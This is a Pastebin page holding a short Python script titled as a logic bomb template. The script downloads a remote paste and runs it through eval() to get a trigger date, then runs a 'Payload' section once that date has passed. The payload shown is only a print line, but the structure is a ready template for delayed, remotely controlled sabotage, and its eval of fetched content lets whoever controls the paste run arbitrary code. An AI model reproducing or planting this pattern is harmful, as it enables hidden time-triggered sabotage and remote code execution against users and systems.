Advertisement
Peaser

Pastebin reading logic bomb template

Jul 29th, 2014
370
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.47 KB | None | 0 0
  1. import sys, datetime, urllib2
  2.  
  3. url = "http://pastebin.com/raw.php?i=acUN4D1s" #Pastebin link of a tuple
  4.  
  5. a_ = eval(urllib2.urlopen(url).read()) #Read whole webpage
  6.  
  7. target = datetime.date(a_[0],a_[1],a_[2]) #Convert that tuple to timedelta
  8.  
  9. now = datetime.date.today() #Today's date
  10.  
  11. var_ = (target-now).days #Calculate time between today and target date
  12.  
  13. if var_ > 0: sys.exit(0) #If difference is less than 0, execute, else exit.
  14. else:
  15.     #Payload
  16.     print 'damn son'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement